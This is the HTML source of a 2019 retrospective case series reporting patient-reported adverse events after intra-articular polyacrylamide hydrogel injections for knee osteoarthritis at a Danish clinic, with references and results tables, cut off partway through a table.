href=\"mailto:henning.bliddal@regionh.dk\">henning.bliddal@regionh.dk</a></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Citation: </strong>Overgaard A,<strong> </strong>Bliddal H,<strong> </strong>Henriksen M (2019) Safety of Intra-Articular Polyacrylamide Hydrogel for the Treatment of Knee Osteoarthritis Symptoms: A Retrospective Case Series. Clin Ortho Adv Res J: COARJ-100001</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Received Date: </strong>20 December, 2018; <strong>Accepted Date: </strong>31 December, 2018; <strong>Published Date: </strong>22 January, 2019</span></p>\r\n','<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>1. Abstract</strong></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Objective:</strong> To assess the safety intra-articular (IA) polyacrylamide gel (PAAG) treatment for knee OA symptoms.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Methods:</strong> A case series of patients was studied, who had been treated with intra-articular injection of 2.5 % polyacrylamide hydrogel between March 2010 and February 2017. Safety assessments were performed at follow-up and included patient-reported adverse events (AEs), medical records review, radiograms, and a clinical examination of the treated knee. For patients, who had received knee arthroplasty surgery since treatment, the surgical records were reviewed for any unexpected findings. </span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Results:</strong>&nbsp; Of 128 invited patients, 91 (71%) participated. The majority (n=66, 73%) of the patients had not experienced adverse events or discomfort in relation to receiving single or multiple treatments with PAAG. Fifteen patients recalled a sensation of distention of the knee joint after the treatment, while in 14 (93%) this was passing within days to weeks. Ten patients (67%) described this sensation as mild. Two patients sought medical assistance after treatment with IA PAAG due to aggravated pain and effusion, likely to be related to the treatment. These patients were treated medically, resulting in no lasting adverse effect. Neither IA infections nor allergic reactions were reported. </span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Conclusion:</strong>&nbsp; No significant incidence was noted of serious adverse events related to IA treatment with a proprietary 2.5 % cross-linked polyacrylamide gel.</span></p>\r\n','<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>2. Introduction</strong></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Osteoarthritis (OA) is a very common chronic disease characterized by pain and physical disability [1]. More than 10% of persons 55 years of age or older have symptomatic osteoarthritis (OA), primarily involving the knees [2]. Knee OA is associated with significant impairments and limitations in mobility, self-care, and housekeeping activities, as well as limited participation in societal and recreational activities. Altogether this leads to reduced quality of life and dependency on other persons or aids. </span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Although OA is a very common disease with serious individual and societal consequences, a cure has not yet been identified and management focuses on symptom control and relief of pain. Even for this purpose, non-surgical treatments with long-lasting effects have not been found. Thus, there is an unmet need for new therapeutic agents and devices.&nbsp; A recently proposed option is polyacrylamide hydrogels (PAAG). PAAGs are non-toxic [3-5], non- degradable synthetic products, that are frequently used for soft tissue augmentation [6-11]. IA injection of PAAG in rabbit and horse joints results in a stable, long-lasting sub-synovial layer of gel traversed with thin strands of connective tissue [12]. In horses with OA IA PAAG significantly reduces lameness and joint effusion, without adverse effects [13]. Thus, IA injection of PAAG may be suggested for treatment of knee OA in humans as well, and preliminary experience has been gathered. However, before launching the PAAG treatment at a larger scale, safety needs to be evaluated.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">The present retrospective case series aims at investigating the incidence and nature of any adverse events in a group of knee OA patients, who have been treated with IA PAAG.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>3. Patients and methods </strong></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">The study is a retrospective assessment of the safety of intra-articular (IA) PAAG given to patients with knee OA as symptomatic treatment. PAAG is an approved product for soft tissue augmentation, but the patients in this study had received the compound as an off-label treatment of their knee OA symptoms at a rheumatology and sports medicine clinic in Denmark from March 2010 and February 2017. Inclusion criteria were painful knee(s) with confirmed radiological signs of OA. Exclusion criteria were contraindications to injection, e.g. skin defects or signs of infection, inflammatory arthritis, immunosuppressive treatment, and wide spread pain.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">During this period, 128 patients had received PAAG on one or more occasions for OA symptoms in the knee. All patients had accepted recall for safety registration and this was performed at the outpatient osteoarthritis clinic at Frederiksberg Hospital in Denmark based on interviews, clinical examinations, and review of medical records.&nbsp; Patients, who were unable to speak Danish or who were not able to remember the treatment due to dementia, were not included.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>a. PAAG treatment</strong></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">PAAG is a non-toxic and non-immunogenic biocompatible polymer gel [3-5] consisting of 97.5% sterile water and 2.5% cross-linked polyacrylamide produced by Contura International A/S. The tested treatment regimen encompassed IA treatment of 3 ml PAAG injected into the knee joint cavity under ultrasound guidance. The IA treatment was accompanied by a single dose oral antibiotic (azithromycin 500 mg and moxifloxacin 400 mg) given on the morning of the treatment. </span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>b.&nbsp;</strong><strong>Safety assessment </strong></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">The patients were referred to the osteoarthritis outpatient clinic for the safety follow-up. If the patients had no possibility of showing up or declined a clinical examination, a telephone interview was conducted. </span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Each participant was interviewed and examined for evidence of adverse events (AE) and serious adverse events (SAE), retrospectively. Medical records were reviewed, and an x-ray was taken to evaluate current radiological OA classification. Knee joint range of motion (ROM) was evaluated clinically to assess any significant reduction in ROM and the examiner assessed if any decreased ROM was attributable to bony or soft tissue changes. </span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">All patients were asked to describe any pain and mobility limitations, skin conditions, systemic events, whether or not knee related, that they experienced in relation to the PAAG treatment. If any AEs or discomforts were described, the patient was asked to describe duration (&ldquo;Days&rdquo;, &ldquo;Weeks&rdquo;, &ldquo;Months&rdquo;) and severity (&ldquo;Mild&rdquo;, &ldquo;Moderate&rdquo;, &ldquo;Severe&rdquo;). </span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">To assess if any SAEs had occurred, all patients were asked if they experienced any events in relation to the treatment that caused them to seek medical assistance or caused hospitalization. Any such reports were pursued further by contacting the patients&rsquo; general practitioner and reviewing medical records. All AEs were recorded, including the approximate date of onset, description, severity, duration and outcome, relationship of the AE to PAAG treatment, and any action(s) taken. </span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Other treatments and concomitant illnesses were taken into account. </span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>c.&nbsp;</strong><strong>Post PAAG treatment knee surgery</strong></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">For patients who had undergone surgery after the treatment with PAAG, the surgical reports were retrieved and reviewed for descriptions of any abnormal findings during the surgery (i.e. unexpected findings e.g. foreign bodies, granulomas, excess fibrosis, discoloration etc.).</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>4.&nbsp;Results</strong></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">128 domestic patients were identified in the files of the Rheumatology and Sports Clinic. All received a letter explaining the study as a safety assessment and, in case of no response, contact was attempted by telephone. 91 responded to the invitation and represent the current retrospective safety population, SP (Figure 1). Of the 91 patients in the SP, 74 were examined at the outpatient clinic, and 17 patients participated by way of a telephone interview. There were 46 (51%) females and 45 (49%) males. The average age of the patients was 70 years (SD 13 years, range 38 to 94). The safety assessment was done on average 24 months (range 4 to 87 months) after the first treatment with PAAG. Reasons for non-inclusion in the safety population were: Not responding to the invitation (n=14) and declining the invitation (n=13). Other reasons were death (n=3), do not remember treatment (n=2), dementia (n=1), do not speak Danish (n=1), and lastly the patients that did not show at the appointed time at the outpatient clinic (n=3) (Appendix, figure 1).</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>a.&nbsp;</strong><strong>Safety assessment </strong></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">The majority of the patients (n=66; 73%) reported no discomfort or untoward events in relation to the treatment of their knee OA with IA PAAG. Twenty-five patients (27%) reported adverse events/discomforts. These 25 patients reported 41 items of discomfort. Most patients (n=13) reported only 1 item and 4 patients reported 3 or more items. Patients reported mostly a sensation of distention (n=15) and worsening of pain from target knee (n=7).&nbsp; To a lesser extent, the patients reported other pain in the leg and muscle discomforts and soreness (n=6). There were 4 reports of a reduced range of motion and 2 of stiffness (Table 1).</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Seven neurological symptoms such as a prickling sensation, numbness, burning or feeling of cold or heat were reported (Table 2).</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Of the 7 patients reporting pain from target knee 4 reported the pain to be severe. All patients reporting pain described the duration of the event to be resolved within weeks. The patients reporting distention of the knee mostly (n=10) described this to be mild and 14 of the 15 patients reported the distention to resolve within weeks, while in one case the patient described the effect to last more than a month. </span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">There were 5 reports of discomforts lasting more than a month from initial treatment (Distention, reduced range of motion, stiffness, cold sensation, and prickling sensation). When interviewed none of the patients described lasting symptoms. Patient-reported severity and duration is summarized in (Tables 3 and 4).</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Two patients reported to have sought medical assistance at the treating clinic because of knee pain after the initial treatment. One was treated with analgesics and was in remission after a week. The other had intra-articular effusion and was treated with recurrent arthrocentesis, one and three weeks after the initial treatment. No lasting reactions were reported.&nbsp; </span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">From the clinical examinations of the 74 treated knees, the investigator found no signs of reduced knee ROM other than what is expected in a population of knee OA patients. </span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">No intra-articular infections or allergic reactions were reported in this retrospective study.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>b.&nbsp;</strong><strong>Post PAAG treatment knee surgery</strong></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">15 (16%) of the 92 participants had, since initial treatment with PAAG, received arthroplasty surgery for knee OA of the treated knee. Of these, it was possible to retrieve 14 surgical reports, the missing report was held by a private clinic and could not be obtained before data analysis had begun. From the pre-operative examinations, all patients were described as having ROM as expected by the status of their knee OA. There were no unexpected descriptions of abnormalities that could be associated with the prior treatment with PAAG in the surgical reports. None of the reports mentioned the presence of unidentified foreign bodies, discolorations, or macroscopical signs of fibrosis. Of the 15 patients with arthroplasties, 13 were examined at the osteoarthritis outpatient clinic by the investigators. Of these patients, none reported dissatisfaction with the outcome of the surgery and the arthroplasties were well functioning. The average time from first treatment with PAAG to surgery was 19 months (range 5 to 58 months).</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>5. Discussion </strong></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">This study presents real-life data of a long-term follow-up after IA administration of PAAG between 4 months and 7 years prior to safety assessment. Few, tolerable, and short-lived discomforts were related to the PAAG treatment. </span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Importantly, we found no indications of disadvantages or side effects that are dissimilar to those known from other available intra-articular treatment modalities for knee OA on the market today. As with other IA treatments for OA (e.g. corticosteroid), some patients (27%) reported an initial aggravation of the OA symptoms. However, these were reported to resolve quickly, similar to other injection therapies. Furthermore, there were no reports of allergic or systemic reactions to the PAAG. These findings are in accordance with the experience of PAAG given to animals showing few adverse events and also with human use of PAAG for soft tissue augmentation [9-13].&nbsp;&nbsp; </span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">The absence of macroscopical anomalies in the surgery reports is in line with the previous histological reports of animal knees treated with PAAG [12], which showed an integration or sub-lining of the PAAG of the synovium, with the sub-synovial zone retaining its thickness. </span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Related to the treatment, 15 patients described post-injection sensations of distention of the knee. This may be speculated to be due to an elevated intra-articular pressure and distention of the joint capsule, or a synovial reaction. However, based on this retrospective case series the cause of this sensation is not clear. Nevertheless, most patients (93%) described the sensation as transient and resolving over days to weeks. Intra-articular injection therapies are normally associated with mild injection pain of short duration and short lived effusion is common [14-16].</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>6. Limitations and strengths</strong></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">This safety assessment has several inherent weaknesses - especially the recall bias due to the retrospective nature of the adverse event reporting is a limitation. Some patients described problems in recollecting events in relation to treatment or even the treatment. However, we are confident that patients would recall if an adverse event had a significant impact on their lives even several years back. The relatively few reported significant adverse events are supported by the generally positive patient satisfaction that further supports the beneficial safety profile of IA PAAG treatment. </span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">The strength of the study is the rather large and comprehensive material, which allowed us to give a qualified estimate of the possible adverse events based on real-life data. The Danish Hospital system has a well-functioning filing system and all hospital admissions are registered. Also, the patients&rsquo; GPs were compliant with supplying us with data from their files of events in the aftermath of PAAG treatment. Thus, it may be claimed that all serious adverse events have been reported as well as most other events requiring a doctor&rsquo;s intervention. </span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Based on the present study, we suggest that knee OA treated with the application of PAAG is safe and may represent a relevant option for further investigation. Although, the current results need confirmation in prospective studies of both efficacy and safety, they provide useful information about the safety of this new product and open new perspectives in the area of non-surgical OA management. </span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>7. Conclusion </strong></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">This retrospective case series of patient-reported safety, clinical examinations, and medical record reviews, found no significant incidence of adverse events or serious adverse events related to the intra-articular treatment with a proprietary 2.5 % cross-linked polyacrylamide gel for the relief of knee osteoarthritis pain and disability. </span></p>\r\n\r\n<p style=\"text-align:justify\">&nbsp;</p>\r\n','<ol>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://doi.org/10.7326/0003-4819-133-8-200010170-00016\">Felson DT, Lawrence RC, Dieppe PA, Hirsch R, Helmick CG, et al. (2000) Osteoarthritis: new insights. Part 1: the disease and its risk factors. Ann Intern Med 133: 635-646.</a></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://doi.org/10.1136/ard.60.2.91\">Peat G, Mc Carney R, Croft P (2001) Knee pain and osteoarthritis in older adults: a review of community burden and current use of primary health care. Ann Rheum Dis 60: 91-97.</a></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://doi.org/10.1016/0041-008x(65)90119-5\">Mc Collister DD, Hake CL, Sadek SE, Rowe VK (1965) Toxicological investigations of polyacrylamides. ToxicolApplPharmacol 7: 639-651.</a></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://doi.org/10.1515/reveh-1989-1-403\">King DJ, Noss RR (1989) Toxicity of polyacrylamide and acrylamide monome. Rev Environ Health 8: 3-16.</a></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://doi.org/10.1097/01.prs.0000133425.22598.d0\">Zarini E, Supino R, Pratesi G, Laccabue D (2004) Biocompatibility and tissue interactions of a new filler material for medical use. Plast Reconstr Surg 114: 934-942.</a></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://doi.org/10.1097/01.prs.0000179349.14392.a4\">Von Buelow S, von Heimburg D, Pallua N (2005) Efficacy and safety of polyacrylamide hydrogel for facial soft-tissue augmentation. Plast Reconstr Surg 116: 1137-1146.</a> </span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://doi.org/10.1111/j.1524-4725.2008.01040.x\">Wolters M, Lampe H (2009) Prospective Multicenter Study for Evaluation of Safety, Efficacy, and Esthetic Results of Cross-Linked Polyacrylamide Hydrogel in 81 Patients. Dermatologic Surgery 35: 338-343.</a></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://doi.org/10.1097/prs.0b013e3181d18158\">Pallua N, Wolter TP (2010) A 5-year assessment of safety and aesthetic results after facial soft-tissue augmentation with polyacrylamide hydrogel (Aquamid): a prospective multicenter study of 251 patients. Plast Reconstr Surg 125: 1797-1804.</a></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://doi.org/10.1007/s00192-010-1214-1\">Lose G, S&oslash;rensen HC, Axelsen S, Falconer C, Lobodasch K (2010) An open multicenter study of polyacrylamide hydrogel (Bulkamid<sup>&reg;</sup>) for female stress and mixed urinary incontinence. Int Urogynecol J 21: 1471-1477.</a></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://doi.org/10.1007/s00192-012-1761-8\">Toozs-Hobson P, Al-Singary W, Fynes M, Tegerstedt G, Lose G (2012) Two-year follow-up of an open-label multicenter study of polyacrylamide hydrogel (Bulkamid<sup>&reg;</sup>) for female stress and stress-predominant mixed incontinence. Including Pelvic Floor Dysfunction 23: 1373-1378.</a> </span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://doi.org/10.1111/j.1524-4725.2008.34246.x\">Christensen LH, Nielsen JB, Mouritsen L, Sorensen M, Lose G (2008) Tissue integration of polyacrylamide hydrogel: an experimental study of periurethral, perivesical, and mammary gland tissue in the pig. Dermatol Surg 34: S68-S77.</a></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://doi.org/10.1016/j.joca.2016.07.007\">Christensen L, Camitz L, Illigen K, Hansen M, Sarvaa, R, et al. (2016) Synovial incorporation of polyacrylamide hydrogel after injection into normal and osteoarthritic animal joints. Osteoarthritis and Cartilage 11: 1999-2002.</a> </span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://doi.org/10.1186/s13028-015-0110-6\">Tnibar A, Schougaard H, Camitz L, Rasmussen J, Koene M, et al. (2015) An international multi-centre prospective study on the efficacy of an intraarticular polyacrylamide hydrogel in horses with osteoarthritis: a 24 months&rsquo; follow-up. (8 pp) Acta Vet Scand 57: 20.</a></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://doi.org/10.1093/rheumatology/38.7.602\">Huskisson EC, Donnelly S (1999) Hyaluronic acid in the treatment of osteoarthritis of the knee. Rheumatology (Oxford, England) 38: 602-607.</a></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://www.ncbi.nlm.nih.gov/pubmed/7562764\">Puttick MP, Wade JP,&nbsp; Chalmers A,&nbsp; Connell DG ,&nbsp; Rangno KK (1995) Acute local reactions after intraarticular hylan for osteoarthritis of the knee. The Journal of Rheumatology 22: 1311-1314.</a></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://doi.org/10.1016/0197-2456(89)90005-6\">Jaeschke R, Singer J, Guyatt GH (1989) Measurement of health status. Controlled Clinical Trials 10: 407-415.</a></span></span></li>\r\n</ol>\r\n','<p style=\"text-align:center\"><img alt=\"\" src=\"https://grfpublishers.com/assets/ckeditor/plugins/imageuploader/uploads/73945f17.png\" style=\"height:479px; width:389px\" /></p>\r\n\r\n<p style=\"text-align:center\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Figure 1:</strong> Flow chart</span></span></p>\r\n','<p><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Citation: </strong>Overgaard A,<strong> </strong>Bliddal H,<strong> </strong>Henriksen M (2019) Safety of Intra-Articular Polyacrylamide Hydrogel for the Treatment of Knee Osteoarthritis Symptoms: A Retrospective Case Series. Clin Ortho Adv Res J: COARJ-100001</span></span></p>\r\n','<div>\r\n<table align=\"center\" border=\"1\" cellspacing=\"0\" class=\"Table\" style=\"width:300px\">\r\n	<thead>\r\n		<tr>\r\n			<th scope=\"col\" style=\"background-color:#002060; width:81.45pt\">\r\n			<p><span style=\"color:#ffffff\"><span style=\"font-size:10.0pt\">Demographics </span></span></p>\r\n			</th>\r\n			<th scope=\"col\" style=\"background-color:#002060; width:81.45pt\">\r\n			<p><span style=\"color:#ffffff\"><span style=\"font-size:10.0pt\">Telephone </span></span></p>\r\n			</th>\r\n			<th scope=\"col\" style=\"background-color:#002060; width:81.5pt\">\r\n			<p><span style=\"color:#ffffff\"><span style=\"font-size:10.0pt\">Seen at the outpatient-clinic</span></span></p>\r\n			</th>\r\n		</tr>\r\n	</thead>\r\n	<tbody>\r\n		<tr>\r\n			<td style=\"width:81.45pt\">\r\n			<p style=\"text-align:center\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:81.45pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Mean (SD)</span></p>\r\n			</td>\r\n			<td style=\"width:81.5pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Range (SD)</span><br />\r\n			&nbsp;</p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:81.45pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">n</span></p>\r\n			</td>\r\n			<td style=\"width:81.45pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">17</span></p>\r\n			</td>\r\n			<td style=\"width:81.5pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">74</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:81.45pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Age, years</span></p>\r\n			</td>\r\n			<td style=\"width:81.45pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">73 (12)</span></p>\r\n			</td>\r\n			<td style=\"width:81.5pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">70 (10)</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:81.45pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Gender (female), n </span></p>\r\n			</td>\r\n			<td style=\"width:81.45pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">11 </span></p>\r\n			</td>\r\n			<td style=\"width:81.5pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">35 </span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:81.45pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Followup (months)</span></p>\r\n			</td>\r\n			<td style=\"width:81.45pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">18 (12)</span></p>\r\n			</td>\r\n			<td style=\"width:81.5pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">25 (19)</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:81.45pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Kellgren-Lawrence score, n (%) *</span></p>\r\n			</td>\r\n			<td style=\"width:81.45pt\">\r\n			<p style=\"text-align:center\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:81.5pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">1 = 3 (5%)</span></p>\r\n\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">2 = 15 (25%)</span></p>\r\n\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">3 = 23 (38 %)</span></p>\r\n\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">4 = 20 (33 %)</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td colspan=\"3\" style=\"width:244.4pt\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">* n=61 , 13 patients had undergone surgery before follow-up</span></p>\r\n			</td>\r\n		</tr>\r\n	</tbody>\r\n</table>\r\n\r\n<p>&nbsp;</p>\r\n\r\n<div>\r\n<table align=\"center\" border=\"1\" cellspacing=\"0\" class=\"Table\" style=\"width:500px\">\r\n	<thead>\r\n		<tr>\r\n			<th scope=\"col\" style=\"background-color:#4caf50; text-align:center; width:135.45pt\">\r\n			<p><span style=\"font-size:10.0pt\">Reported adverse events or discomfort</span></p>\r\n			</th>\r\n			<th scope=\"col\" style=\"background-color:#4caf50; text-align:center; width:153.55pt\">\r\n			<p><span style=\"font-size:10.0pt\">Patients describing no adverse events or discomfort</span></p>\r\n			</th>\r\n		</tr>\r\n	</thead>\r\n	<tbody>\r\n		<tr>\r\n			<td style=\"width:135.45pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">N = 25 (27%)</span></p>\r\n			</td>\r\n			<td style=\"width:153.55pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">N = 66 (73%)</span></p>\r\n			</td>\r\n		</tr>\r\n	</tbody>\r\n</table>\r\n\r\n<p style=\"text-align:center\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Table 1:</strong> Number (proportions) of patients retrospectively reporting adverse events/discomfort in relation to treatment with PAAG</span></span></p>\r\n\r\n<p style=\"text-align:center\">&nbsp;</p>\r\n\r\n<div>\r\n<table align=\"center\" border=\"1\" cellspacing=\"0\" class=\"Table\" style=\"width:500px\">\r\n	<thead>\r\n		<tr>\r\n			<th scope=\"col\" style=\"background-color:#002060; text-align:center; width:2.5in\">\r\n			<p><span style=\"color:#ffffff\">Adverse event registered</span></p>\r\n			</th>\r\n			<th scope=\"col\" style=\"background-color:#002060; text-align:center; width:40pt\">\r\n			<p><span style=\"color:#ffffff\">No.</span></p>\r\n			</th>\r\n			<th scope=\"col\" style=\"background-color:#002060; text-align:center; width:69pt\">\r\n			<p><span style=\"color:#ffffff\">Proportion</span></p>\r\n			</th>\r\n		</tr>\r\n	</thead>\r\n	<tbody>\r\n		<tr>\r\n			<td style=\"width:2.5in\">\r\n			<p style=\"text-align:center\">Pain from target knee</p>\r\n			</td>\r\n			<td style=\"width:40.0pt\">\r\n			<p style=\"text-align:center\">7</p>\r\n			</td>\r\n			<td style=\"width:69.0pt\">\r\n			<p style=\"text-align:center\">17.1%</p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:2.5in\">\r\n			<p style=\"text-align:center\">Other pain from extremity</p>\r\n			</td>\r\n			<td style=\"width:40.0pt\">\r\n			<p style=\"text-align:center\">1</p>\r\n			</td>\r\n			<td style=\"width:69.0pt\">\r\n			<p style=\"text-align:center\">2.4%</p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:2.5in\">\r\n			<p style=\"text-align:center\">Muscle discomfort/pain&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:40.0pt\">\r\n			<p style=\"text-align:center\">2</p>\r\n			</td>\r\n			<td style=\"width:69.0pt\">\r\n			<p style=\"text-align:center\">4.9%</p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:2.5in\">\r\n			<p style=\"text-align:center\">Soreness</p>\r\n			</td>\r\n			<td style=\"width:40.0pt\">\r\n			<p style=\"text-align:center\">3</p>\r\n			</td>\r\n			<td style=\"width:69.0pt\">\r\n			<p style=\"text-align:center\">7.3%</p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:2.5in\">\r\n			<p style=\"text-align:center\">Burning sensation</p>\r\n			</td>\r\n			<td 